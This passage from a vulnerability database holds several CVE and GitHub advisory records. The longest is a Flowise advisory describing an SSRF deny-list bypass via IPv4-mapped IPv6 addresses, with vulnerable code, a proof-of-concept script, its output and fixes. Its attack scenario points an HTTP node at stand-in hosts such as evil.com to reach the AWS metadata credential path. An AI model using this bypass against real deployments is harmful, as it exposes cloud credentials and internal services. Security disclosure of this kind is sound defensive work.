"url": "https://github.com/crowdsecurity/cs-firewall-bouncer/issues/368"
},
{
"url": "https://bugs.launchpad.net/ubuntu/+source/crowdsec-firewall-bouncer/+bug/2069596"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "Improper IPv4 and IPv6 byte order storage in github.com/google/nftables",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "14ed7db2-1595-443d-9d34-6215bf890778",
"assignerShortName": "Google",
"cveId": "CVE-2024-6284",
"datePublished": "2024-07-03T22:58:17.340Z",
"dateReserved": "2024-06-24T13:16:59.140Z",
"dateUpdated": "2025-09-08T09:36:50.396Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
CVE-2018-25242 (GCVE-0-2018-25242)
Vulnerability from cvelistv5 – Published: 2026-04-04 13:51 – Updated: 2026-04-06 13:28
VLAI
EPSS
VEX
Title
One Search 1.1.0.0 Denial of Service
Summary
One Search 1.1.0.0 contains a denial of service vulnerability that allows local attackers to crash the application by submitting excessively long input strings to the search functionality. Attackers can paste a buffer of 950 or more characters into the search bar to trigger an unhandled exception that crashes the application.
Severity
6.2 (Medium)
SSVC
Exploitation: poc
Automatable: no
Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
- CWE-1389 - Incorrect Parsing of Numbers with Different Radices
Assigner
References
3 references
| URL | Tags |
|---|---|
| https://www.exploit-db.com/exploits/46195 | exploit |
| https://www.microsoft.com/store/productId/9PMR5QNS5LTL | product |
| https://www.vulncheck.com/advisories/one-search-d… | third-party-advisory |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| OneSearch | One Search |
Affected:
1.1.0.0
|
Date Public
2018-01-18 00:00
Credits
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2018-25242",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-04-06T13:27:56.370648Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-04-06T13:28:11.892Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "One Search",
"vendor": "OneSearch",
"versions": [
{
"status": "affected",
"version": "1.1.0.0"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "0xB9"
}
],
"datePublic": "2018-01-18T00:00:00.000Z",
"descriptions": [
{
"lang": "en",
"value": "One Search 1.1.0.0 contains a denial of service vulnerability that allows local attackers to crash the application by submitting excessively long input strings to the search functionality. Attackers can paste a buffer of 950 or more characters into the search bar to trigger an unhandled exception that crashes the application."
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "LOCAL",
"baseScore": 6.9,
"baseSeverity": "MEDIUM",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS"
},
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 6.2,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"format": "CVSS"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1389",
"description": "Incorrect Parsing of Numbers with Different Radices",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-04-04T19:59:53.677Z",
"orgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"shortName": "VulnCheck"
},
"references": [
{
"name": "ExploitDB-46195",
"tags": [
"exploit"
],
"url": "https://www.exploit-db.com/exploits/46195"
},
{
"name": "Product Reference",
"tags": [
"product"
],
"url": "https://www.microsoft.com/store/productId/9PMR5QNS5LTL"
},
{
"name": "VulnCheck Advisory: One Search 1.1.0.0 Denial of Service",
"tags": [
"third-party-advisory"
],
"url": "https://www.vulncheck.com/advisories/one-search-denial-of-service"
}
],
"title": "One Search 1.1.0.0 Denial of Service",
"x_generator": {
"engine": "vulncheck"
}
}
},
"cveMetadata": {
"assignerOrgId": "83251b91-4cc7-4094-a5c7-464a1b83ea10",
"assignerShortName": "VulnCheck",
"cveId": "CVE-2018-25242",
"datePublished": "2026-04-04T13:51:09.345Z",
"dateReserved": "2026-04-04T13:18:08.204Z",
"dateUpdated": "2026-04-06T13:28:11.892Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-28X5-QJQX-J9FR
Vulnerability from github – Published: 2024-07-09 18:30 – Updated: 2024-07-09 18:30
VLAI
Details
An incorrect parsing of numbers with different radices vulnerability [CWE-1389] in FortiProxy version 7.4.3 and below, version 7.2.10 and below, version 7.0.17 and below and FortiOS version 7.4.3 and below, version 7.2.8 and below, version 7.0.15 and below IP address validation feature may permit an unauthenticated attacker to bypass the IP blocklist via crafted requests.
Severity
{
"affected": [],
"aliases": [
"CVE-2024-26015"
],
"database_specific": {
"cwe_ids": [
"CWE-1389",
"CWE-704"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-09T16:15:04Z",
"severity": "LOW"
},
"details": "An incorrect parsing of numbers with different radices vulnerability [CWE-1389] in FortiProxy version 7.4.3 and below, version 7.2.10 and below, version 7.0.17 and below and FortiOS version 7.4.3 and below, version 7.2.8 and below, version 7.0.15 and below IP address validation feature may permit an unauthenticated attacker to bypass the IP blocklist via crafted requests.",
"id": "GHSA-28x5-qjqx-j9fr",
"modified": "2024-07-09T18:30:49Z",
"published": "2024-07-09T18:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26015"
},
{
"type": "WEB",
"url": "https://fortiguard.fortinet.com/psirt/FG-IR-23-446"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-C6XH-WV4J-PPV5
Vulnerability from github – Published: 2026-08-04 15:51 – Updated: 2026-08-04 15:51
VLAI
Summary
Flowise: SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses
Details
Summary
Flowise's HTTP security module (httpSecurity.ts) fails to normalize IPv4-mapped IPv6 addresses (e.g., ::ffff:127.0.0.1, ::ffff:169.254.169.254) before checking them against the deny list. Due to an ipaddr.js kind mismatch (ipv6 vs ipv4), all IPv4 CIDR deny rules are silently skipped for IPv4-mapped IPv6 addresses. An attacker who controls DNS resolution for a hostname can set a AAAA record to ::ffff:<target_ipv4>, completely bypassing all SSRF protections and accessing internal services, cloud metadata endpoints, and localhost.
CWE
- CWE-918: Server-Side Request Forgery (SSRF)
- CWE-1389: Incorrect Parsing of Numbers with Different Radices (IPv4-mapped IPv6 not normalized to IPv4 before deny list check)
Affected Versions
- All versions up to and including v3.1.1 (latest main branch as of 2026-04-03)
- This includes versions where CVE-2026-31829 was supposedly patched (v3.0.13+)
Details
Root Cause
The isDeniedIP() function in packages/components/src/httpSecurity.ts checks IP addresses against a deny list using ipaddr.js. The critical flaw is in the kind() comparison:
// httpSecurity.ts - isDeniedIP()
export function isDeniedIP(ip: string, denyList: string[]): void {
const parsedIp = ipaddr.parse(ip);
for (const entry of denyList) {
if (entry.includes('/')) {
try {
const [range, _] = entry.split('/')
const parsedRange = ipaddr.parse(range)
// ⚠️ BUG: IPv4-mapped IPv6 has kind='ipv6', IPv4 CIDR has kind='ipv4'
// This condition is FALSE for ::ffff:x.x.x.x vs any IPv4 CIDR entry
if (parsedIp.kind() === parsedRange.kind()) { // <-- BYPASS HERE
if (parsedIp.match(ipaddr.parseCIDR(entry))) {
throw new Error('Access to this host is denied by policy.')
}
}
} catch (error) {
throw new Error(`isDeniedIP: ${error}`)
}
} else if (ip === entry) {
throw new Error('Access to this host is denied by policy.')
}
}
}
When the resolved IP is an IPv4-mapped IPv6 address like ::ffff:169.254.169.254:
- ipaddr.parse('::ffff:169.254.169.254').kind() returns 'ipv6'
- ipaddr.parse('169.254.169.254').kind() (from deny list entry) returns 'ipv4'
- 'ipv6' === 'ipv4' is false → CIDR check is completely skipped
The IPv6 deny list entries (::1, fc00::/7, fe80::/10, ff00::/8) do NOT cover the ::ffff:0:0/96 range where IPv4-mapped addresses live, so these addresses bypass ALL deny rules.
Attack Vector
- Attacker registers a domain (e.g.,
evil.attacker.com) and sets a AAAA DNS record to::ffff:169.254.169.254(AWS metadata) or::ffff:10.0.0.1(internal service) - Attacker configures a chatflow HTTP Node (or API Chain, Document Loader, etc.) to make a request to
http://evil.attacker.com/latest/meta-data/ resolveAndValidate()callsdns.lookup('evil.attacker.com', { all: true })which returns[{ address: '::ffff:169.254.169.254', family: 6 }]isDeniedIP('::ffff:169.254.169.254', denyList)is called — all IPv4 CIDR entries are skipped due to kind mismatch- Request is sent to
169.254.169.254(AWS metadata service) via the IPv4-mapped IPv6 address
Affected Endpoints
All code paths using the SSRF protection functions are vulnerable:
| Function | Usage Count | Affected Components |
|---|---|---|
secureAxiosRequest() |
8+ | HTTP Node (Agentflow), ExecuteFlow, APILoader, FireCrawl, Spider, AzureRerank |
secureFetch() |
5+ | ApiChain, Custom Function sandbox, Jira tool, MCP tool |
checkDenyList() |
3+ | MCP Server URL validation, fetch-links service, web scraping |
Proof of Concept
// Verify the bypass using ipaddr.js (same library Flowise uses)
const ipaddr = require('ipaddr.js');
const denyList = [
'169.254.169.254/16', // Cloud metadata (covered by 169.254.0.0/16 in Flowise)
'10.0.0.0/8', // RFC1918 (covered by 10.0.0.0/8 in Flowise)
'127.0.0.0/8', // Loopback (covered by 127.0.0.0/8 in Flowise)
'172.16.0.0/12', // RFC1918 (covered by 172.16.0.0/12 in Flowise)
'192.168.0.0/16', // RFC1918 (covered by 192.168.0.0/16 in Flowise)
];
// Normal IPv4 - correctly blocked
const normalIP = ipaddr.parse('169.254.169.254');
console.log('169.254.169.254 kind:', normalIP.kind()); // 'ipv4'
// IPv4-mapped IPv6 - bypasses ALL checks
const mappedIP = ipaddr.parse('::ffff:169.254.169.254');
console.log('::ffff:169.254.169.254 kind:', mappedIP.kind()); // 'ipv6'
console.log('Is IPv4Mapped?:', mappedIP.isIPv4MappedAddress()); // true
console.log('Maps to:', mappedIP.toIPv4Address().toString()); // '169.254.169.254'
// Demonstrate the bypass
for (const entry of denyList) {
const [range] = entry.split('/');
const parsedRange = ipaddr.parse(range);
const kindMatch = mappedIP.kind() === parsedRange.kind();
console.log(`${entry}: kind match = ${kindMatch}`); // ALL false!
}
// Result: ALL deny list entries are skipped
Attack Scenario (AWS Cloud):
# 1. Attacker sets up DNS: evil.com AAAA -> ::ffff:a9fe:a9fe (169.254.169.254)
# 2. Attacker creates a chatflow with HTTP Node pointing to:
# URL: http://evil.com/latest/meta-data/iam/security-credentials/
# 3. Flowise resolves evil.com -> ::ffff:169.254.169.254
# 4. isDeniedIP skips all IPv4 CIDR checks (kind mismatch)
# 5. Request reaches AWS IMDS -> Returns IAM role credentials
Verified PoC Output
The following output was produced by running the PoC script (poc_ssrf_bypass.js) against ipaddr.js@2.2.0 (the exact version used by Flowise ^2.2.0), replicating the isDeniedIP() logic:
Step 1: kind() mismatch confirmed
169.254.169.254 kind=ipv4 isIPv4Mapped=false
::ffff:169.254.169.254 kind=ipv6 isIPv4Mapped=true → maps to: 169.254.169.254
127.0.0.1 kind=ipv4 isIPv4Mapped=false
::ffff:127.0.0.1 kind=ipv6 isIPv4Mapped=true → maps to: 127.0.0.1
10.0.0.1 kind=ipv4 isIPv4Mapped=false
::ffff:10.0.0.1 kind=ipv6 isIPv4Mapped=true → maps to: 10.0.0.1
192.168.1.1 kind=ipv4 isIPv4Mapped=false
::ffff:192.168.1.1 kind=ipv6 isIPv4Mapped=true → maps to: 192.168.1.1
172.16.0.1 kind=ipv4 isIPv4Mapped=false
::ffff:172.16.0.1 kind=ipv6 isIPv4Mapped=true → maps to: 172.16.0.1
Step 2: Normal IPv4 — correctly blocked ✅
169.254.169.254 → 🔒 BLOCKED (matched: 169.254.169.254)
127.0.0.1 → 🔒 BLOCKED (matched: 127.0.0.0/8)
10.0.0.1 → 🔒 BLOCKED (matched: 10.0.0.0/8)
192.168.1.1 → 🔒 BLOCKED (matched: 192.168.0.0/16)
172.16.0.1 → 🔒 BLOCKED (matched: 172.16.0.0/12)
Step 3: IPv4-Mapped IPv6 — ALL bypass deny list ⚠️
::ffff:169.254.169.254 → ⚠️ ALLOWED (BYPASS!) (real target: 169.254.169.254)
::ffff:127.0.0.1 → ⚠️ ALLOWED (BYPASS!) (real target: 127.0.0.1)
::ffff:10.0.0.1 → ⚠️ ALLOWED (BYPASS!) (real target: 10.0.0.1)
::ffff:192.168.1.1 → ⚠️ ALLOWED (BYPASS!) (real target: 192.168.1.1)
::ffff:172.16.0.1 → ⚠️ ALLOWED (BYPASS!) (real target: 172.16.0.1)
Step 4: Root cause — kind mismatch skips CIDR check
Checking: ::ffff:169.254.169.254 against deny entry 169.254.0.0/16
parsedIp.kind() = 'ipv6'
parsedRange.kind() = 'ipv4'
kind match? = false ← CIDR check is SKIPPED!
But the IP actually maps to: 169.254.169.254 (which IS in 169.254.0.0/16)
Step 5: Proposed fix — all bypass addresses now blocked ✅
::ffff:169.254.169.254 → 🔒 BLOCKED (FIXED!) (matched: 169.254.0.0/16)
::ffff:127.0.0.1 → 🔒 BLOCKED (FIXED!) (matched: 127.0.0.0/8)
::ffff:10.0.0.1 → 🔒 BLOCKED (FIXED!) (matched: 10.0.0.0/8)
::ffff:192.168.1.1 → 🔒 BLOCKED (FIXED!) (matched: 192.168.0.0/16)
::ffff:172.16.0.1 → 🔒 BLOCKED (FIXED!) (matched: 172.16.0.0/12)
Step 6: Attack simulation
Vulnerable isDeniedIP: ⚠️ ALLOWED → Request reaches AWS metadata!
Fixed isDeniedIP: 🔒 BLOCKED → Attack prevented!
Verification environment: Node.js v22.13.1, ipaddr.js@2.2.0 (matches Flowise dependency
^2.2.0) PoC script: poc_ssrf_bypass.js
Impact
| Target | Impact | Severity |
|---|---|---|
AWS/GCP/Azure Metadata (169.254.169.254) |
Steal IAM credentials, service account tokens | Critical |
Internal services (10.x.x.x, 172.16.x.x, 192.168.x.x) |
Access internal APIs, databases, admin panels | High |
Localhost (127.0.0.1) |
Access Flowise's own API with elevated privileges, access co-located services | High |
This bypass renders the SSRF protection added in v3.0.13 (CVE-2026-31829 fix) completely ineffective against IPv4-mapped IPv6 DNS resolution.
Remediation
Option 1: Normalize IPv4-Mapped IPv6 Before Checking (Recommended)
export function isDeniedIP(ip: string, denyList: string[]): void {
let parsedIp = ipaddr.parse(ip);
// ✅ FIX: Normalize IPv4-mapped IPv6 to IPv4 before checking
if (parsedIp.kind() === 'ipv6' && parsedIp.isIPv4MappedAddress()) {
parsedIp = parsedIp.toIPv4Address();
}
for (const entry of denyList) {
if (entry.includes('/')) {
try {
const [range, _] = entry.split('/');
let parsedRange = ipaddr.parse(range);
// Also normalize deny list entries
if (parsedRange.kind() === 'ipv6' && parsedRange.isIPv4MappedAddress()) {
parsedRange = parsedRange.toIPv4Address();
}
if (parsedIp.kind() === parsedRange.kind()) {
if (parsedIp.match(ipaddr.parseCIDR(entry))) {
throw new Error('Access to this host is denied by policy.');
}
}
} catch (error) {
throw new Error(`isDeniedIP: ${error}`);
}
} else if (ip === entry) {
throw new Error('Access to this host is denied by policy.');
}
}
}
Option 2: Add ::ffff:0:0/96 to Deny List (Defense-in-depth)
Additionally, add the IPv4-mapped IPv6 prefix to the deny list to block ALL mapped addresses:
const DEFAULT_DENY_LIST = [
// ... existing entries ...
'::ffff:0:0/96', // Block ALL IPv4-mapped IPv6 addresses
'::ffff:127.0.0.1/128', // Explicit loopback mapped
'::ffff:169.254.0.0/112', // Explicit link-local mapped
'::ffff:10.0.0.0/104', // Explicit RFC1918 Class A mapped
'::ffff:172.16.0.0/108', // Explicit RFC1918 Class B mapped
'::ffff:192.168.0.0/112', // Explicit RFC1918 Class C mapped
];
Option 3: Also normalize in resolveAndValidate() (Belt and suspenders)
async function resolveAndValidate(url: string): Promise<ResolvedTarget> {
// ... existing code ...
const records = await dns.lookup(hostname, { all: true });
for (const r of records) {
let address = r.address;
// Normalize IPv4-mapped IPv6 for deny list checking
if (ipaddr.isValid(address)) {
const parsed = ipaddr.parse(address);
if (parsed.kind() === 'ipv6' && parsed.isIPv4MappedAddress()) {
address = parsed.toIPv4Address().toString();
}
}
isDeniedIP(address, denyList);
}
// ... rest of code ...
}
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-69257"
],
"database_specific": {
"cwe_ids": [
"CWE-918",
"CWE-1389"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-04T15:51:58Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nFlowise\u0027s HTTP security module (`httpSecurity.ts`) fails to normalize IPv4-mapped IPv6 addresses (e.g., `::ffff:127.0.0.1`, `::ffff:169.254.169.254`) before checking them against the deny list. Due to an `ipaddr.js` kind mismatch (`ipv6` vs `ipv4`), all IPv4 CIDR deny rules are silently skipped for IPv4-mapped IPv6 addresses. An attacker who controls DNS resolution for a hostname can set a AAAA record to `::ffff:\u003ctarget_ipv4\u003e`, completely bypassing all SSRF protections and accessing internal services, cloud metadata endpoints, and localhost.\n\n## CWE\n\n- **CWE-918**: Server-Side Request Forgery (SSRF)\n- **CWE-1389**: Incorrect Parsing of Numbers with Different Radices (IPv4-mapped IPv6 not normalized to IPv4 before deny list check)\n\n## Affected Versions\n\n- All versions up to and including **v3.1.1** (latest main branch as of 2026-04-03)\n- This includes versions where CVE-2026-31829 was supposedly patched (v3.0.13+)\n\n## Details\n\n### Root Cause\n\nThe `isDeniedIP()` function in `packages/components/src/httpSecurity.ts` checks IP addresses against a deny list using `ipaddr.js`. The critical flaw is in the `kind()` comparison:\n\n```typescript\n// httpSecurity.ts - isDeniedIP()\nexport function isDeniedIP(ip: string, denyList: string[]): void {\n const parsedIp = ipaddr.parse(ip);\n for (const entry of denyList) {\n if (entry.includes(\u0027/\u0027)) {\n try {\n const [range, _] = entry.split(\u0027/\u0027)\n const parsedRange = ipaddr.parse(range)\n // \u26a0\ufe0f BUG: IPv4-mapped IPv6 has kind=\u0027ipv6\u0027, IPv4 CIDR has kind=\u0027ipv4\u0027\n // This condition is FALSE for ::ffff:x.x.x.x vs any IPv4 CIDR entry\n if (parsedIp.kind() === parsedRange.kind()) { // \u003c-- BYPASS HERE\n if (parsedIp.match(ipaddr.parseCIDR(entry))) {\n throw new Error(\u0027Access to this host is denied by policy.\u0027)\n }\n }\n } catch (error) {\n throw new Error(`isDeniedIP: ${error}`)\n }\n } else if (ip === entry) {\n throw new Error(\u0027Access to this host is denied by policy.\u0027)\n }\n }\n}\n```\n\nWhen the resolved IP is an IPv4-mapped IPv6 address like `::ffff:169.254.169.254`:\n- `ipaddr.parse(\u0027::ffff:169.254.169.254\u0027).kind()` returns `\u0027ipv6\u0027`\n- `ipaddr.parse(\u0027169.254.169.254\u0027).kind()` (from deny list entry) returns `\u0027ipv4\u0027`\n- `\u0027ipv6\u0027 === \u0027ipv4\u0027` is `false` \u2192 **CIDR check is completely skipped**\n\nThe IPv6 deny list entries (`::1`, `fc00::/7`, `fe80::/10`, `ff00::/8`) do NOT cover the `::ffff:0:0/96` range where IPv4-mapped addresses live, so these addresses bypass ALL deny rules.\n\n### Attack Vector\n\n1. Attacker registers a domain (e.g., `evil.attacker.com`) and sets a **AAAA DNS record** to `::ffff:169.254.169.254` (AWS metadata) or `::ffff:10.0.0.1` (internal service)\n2. Attacker configures a chatflow HTTP Node (or API Chain, Document Loader, etc.) to make a request to `http://evil.attacker.com/latest/meta-data/`\n3. `resolveAndValidate()` calls `dns.lookup(\u0027evil.attacker.com\u0027, { all: true })` which returns `[{ address: \u0027::ffff:169.254.169.254\u0027, family: 6 }]`\n4. `isDeniedIP(\u0027::ffff:169.254.169.254\u0027, denyList)` is called \u2014 all IPv4 CIDR entries are skipped due to kind mismatch\n5. Request is sent to `169.254.169.254` (AWS metadata service) via the IPv4-mapped IPv6 address\n\n### Affected Endpoints\n\nAll code paths using the SSRF protection functions are vulnerable:\n\n| Function | Usage Count | Affected Components |\n|----------|:-----------:|-------------------|\n| `secureAxiosRequest()` | 8+ | HTTP Node (Agentflow), ExecuteFlow, APILoader, FireCrawl, Spider, AzureRerank |\n| `secureFetch()` | 5+ | ApiChain, Custom Function sandbox, Jira tool, MCP tool |\n| `checkDenyList()` | 3+ | MCP Server URL validation, fetch-links service, web scraping |\n\n### Proof of Concept\n\n```javascript\n// Verify the bypass using ipaddr.js (same library Flowise uses)\nconst ipaddr = require(\u0027ipaddr.js\u0027);\n\nconst denyList = [\n \u0027169.254.169.254/16\u0027, // Cloud metadata (covered by 169.254.0.0/16 in Flowise)\n \u002710.0.0.0/8\u0027, // RFC1918 (covered by 10.0.0.0/8 in Flowise)\n \u0027127.0.0.0/8\u0027, // Loopback (covered by 127.0.0.0/8 in Flowise)\n \u0027172.16.0.0/12\u0027, // RFC1918 (covered by 172.16.0.0/12 in Flowise)\n \u0027192.168.0.0/16\u0027, // RFC1918 (covered by 192.168.0.0/16 in Flowise)\n];\n\n// Normal IPv4 - correctly blocked\nconst normalIP = ipaddr.parse(\u0027169.254.169.254\u0027);\nconsole.log(\u0027169.254.169.254 kind:\u0027, normalIP.kind()); // \u0027ipv4\u0027\n\n// IPv4-mapped IPv6 - bypasses ALL checks\nconst mappedIP = ipaddr.parse(\u0027::ffff:169.254.169.254\u0027);\nconsole.log(\u0027::ffff:169.254.169.254 kind:\u0027, mappedIP.kind()); // \u0027ipv6\u0027\nconsole.log(\u0027Is IPv4Mapped?:\u0027, mappedIP.isIPv4MappedAddress()); // true\nconsole.log(\u0027Maps to:\u0027, mappedIP.toIPv4Address().toString()); // \u0027169.254.169.254\u0027\n\n// Demonstrate the bypass\nfor (const entry of denyList) {\n const [range] = entry.split(\u0027/\u0027);\n const parsedRange = ipaddr.parse(range);\n const kindMatch = mappedIP.kind() === parsedRange.kind();\n console.log(`${entry}: kind match = ${kindMatch}`); // ALL false!\n}\n// Result: ALL deny list entries are skipped\n```\n\n**Attack Scenario (AWS Cloud):**\n```bash\n# 1. Attacker sets up DNS: evil.com AAAA -\u003e ::ffff:a9fe:a9fe (169.254.169.254)\n# 2. Attacker creates a chatflow with HTTP Node pointing to:\n# URL: http://evil.com/latest/meta-data/iam/security-credentials/\n# 3. Flowise resolves evil.com -\u003e ::ffff:169.254.169.254\n# 4. isDeniedIP skips all IPv4 CIDR checks (kind mismatch)\n# 5. Request reaches AWS IMDS -\u003e Returns IAM role credentials\n```\n\n### Verified PoC Output\n\nThe following output was produced by running the PoC script (`poc_ssrf_bypass.js`) against `ipaddr.js@2.2.0` (the exact version used by Flowise `^2.2.0`), replicating the `isDeniedIP()` logic:\n\n**Step 1: kind() mismatch confirmed**\n```\n169.254.169.254 kind=ipv4 isIPv4Mapped=false\n::ffff:169.254.169.254 kind=ipv6 isIPv4Mapped=true \u2192 maps to: 169.254.169.254\n127.0.0.1 kind=ipv4 isIPv4Mapped=false\n::ffff:127.0.0.1 kind=ipv6 isIPv4Mapped=true \u2192 maps to: 127.0.0.1\n10.0.0.1 kind=ipv4 isIPv4Mapped=false\n::ffff:10.0.0.1 kind=ipv6 isIPv4Mapped=true \u2192 maps to: 10.0.0.1\n192.168.1.1 kind=ipv4 isIPv4Mapped=false\n::ffff:192.168.1.1 kind=ipv6 isIPv4Mapped=true \u2192 maps to: 192.168.1.1\n172.16.0.1 kind=ipv4 isIPv4Mapped=false\n::ffff:172.16.0.1 kind=ipv6 isIPv4Mapped=true \u2192 maps to: 172.16.0.1\n```\n\n**Step 2: Normal IPv4 \u2014 correctly blocked \u2705**\n```\n169.254.169.254 \u2192 \ud83d\udd12 BLOCKED (matched: 169.254.169.254)\n127.0.0.1 \u2192 \ud83d\udd12 BLOCKED (matched: 127.0.0.0/8)\n10.0.0.1 \u2192 \ud83d\udd12 BLOCKED (matched: 10.0.0.0/8)\n192.168.1.1 \u2192 \ud83d\udd12 BLOCKED (matched: 192.168.0.0/16)\n172.16.0.1 \u2192 \ud83d\udd12 BLOCKED (matched: 172.16.0.0/12)\n```\n\n**Step 3: IPv4-Mapped IPv6 \u2014 ALL bypass deny list \u26a0\ufe0f**\n```\n::ffff:169.254.169.254 \u2192 \u26a0\ufe0f ALLOWED (BYPASS!) (real target: 169.254.169.254)\n::ffff:127.0.0.1 \u2192 \u26a0\ufe0f ALLOWED (BYPASS!) (real target: 127.0.0.1)\n::ffff:10.0.0.1 \u2192 \u26a0\ufe0f ALLOWED (BYPASS!) (real target: 10.0.0.1)\n::ffff:192.168.1.1 \u2192 \u26a0\ufe0f ALLOWED (BYPASS!) (real target: 192.168.1.1)\n::ffff:172.16.0.1 \u2192 \u26a0\ufe0f ALLOWED (BYPASS!) (real target: 172.16.0.1)\n```\n\n**Step 4: Root cause \u2014 kind mismatch skips CIDR check**\n```\nChecking: ::ffff:169.254.169.254 against deny entry 169.254.0.0/16\nparsedIp.kind() = \u0027ipv6\u0027\nparsedRange.kind() = \u0027ipv4\u0027\nkind match? = false \u2190 CIDR check is SKIPPED!\nBut the IP actually maps to: 169.254.169.254 (which IS in 169.254.0.0/16)\n```\n\n**Step 5: Proposed fix \u2014 all bypass addresses now blocked \u2705**\n```\n::ffff:169.254.169.254 \u2192 \ud83d\udd12 BLOCKED (FIXED!) (matched: 169.254.0.0/16)\n::ffff:127.0.0.1 \u2192 \ud83d\udd12 BLOCKED (FIXED!) (matched: 127.0.0.0/8)\n::ffff:10.0.0.1 \u2192 \ud83d\udd12 BLOCKED (FIXED!) (matched: 10.0.0.0/8)\n::ffff:192.168.1.1 \u2192 \ud83d\udd12 BLOCKED (FIXED!) (matched: 192.168.0.0/16)\n::ffff:172.16.0.1 \u2192 \ud83d\udd12 BLOCKED (FIXED!) (matched: 172.16.0.0/12)\n```\n\n**Step 6: Attack simulation**\n```\nVulnerable isDeniedIP: \u26a0\ufe0f ALLOWED \u2192 Request reaches AWS metadata!\nFixed isDeniedIP: \ud83d\udd12 BLOCKED \u2192 Attack prevented!\n```\n\n\u003e **Verification environment**: Node.js v22.13.1, ipaddr.js@2.2.0 (matches Flowise dependency `^2.2.0`)\n\u003e **PoC script**: [poc_ssrf_bypass.js](https://github.com/user-attachments/files/26456899/poc_ssrf_bypass.js)\n\n\n## Impact\n\n| Target | Impact | Severity |\n|--------|--------|----------|\n| AWS/GCP/Azure Metadata (`169.254.169.254`) | Steal IAM credentials, service account tokens | Critical |\n| Internal services (`10.x.x.x`, `172.16.x.x`, `192.168.x.x`) | Access internal APIs, databases, admin panels | High |\n| Localhost (`127.0.0.1`) | Access Flowise\u0027s own API with elevated privileges, access co-located services | High |\n\nThis bypass renders the SSRF protection added in v3.0.13 (CVE-2026-31829 fix) **completely ineffective** against IPv4-mapped IPv6 DNS resolution.\n\n## Remediation\n\n### Option 1: Normalize IPv4-Mapped IPv6 Before Checking (Recommended)\n\n```typescript\nexport function isDeniedIP(ip: string, denyList: string[]): void {\n let parsedIp = ipaddr.parse(ip);\n \n // \u2705 FIX: Normalize IPv4-mapped IPv6 to IPv4 before checking\n if (parsedIp.kind() === \u0027ipv6\u0027 \u0026\u0026 parsedIp.isIPv4MappedAddress()) {\n parsedIp = parsedIp.toIPv4Address();\n }\n \n for (const entry of denyList) {\n if (entry.includes(\u0027/\u0027)) {\n try {\n const [range, _] = entry.split(\u0027/\u0027);\n let parsedRange = ipaddr.parse(range);\n // Also normalize deny list entries\n if (parsedRange.kind() === \u0027ipv6\u0027 \u0026\u0026 parsedRange.isIPv4MappedAddress()) {\n parsedRange = parsedRange.toIPv4Address();\n }\n if (parsedIp.kind() === parsedRange.kind()) {\n if (parsedIp.match(ipaddr.parseCIDR(entry))) {\n throw new Error(\u0027Access to this host is denied by policy.\u0027);\n }\n }\n } catch (error) {\n throw new Error(`isDeniedIP: ${error}`);\n }\n } else if (ip === entry) {\n throw new Error(\u0027Access to this host is denied by policy.\u0027);\n }\n }\n}\n```\n\n### Option 2: Add `::ffff:0:0/96` to Deny List (Defense-in-depth)\n\nAdditionally, add the IPv4-mapped IPv6 prefix to the deny list to block ALL mapped addresses:\n\n```typescript\nconst DEFAULT_DENY_LIST = [\n // ... existing entries ...\n \u0027::ffff:0:0/96\u0027, // Block ALL IPv4-mapped IPv6 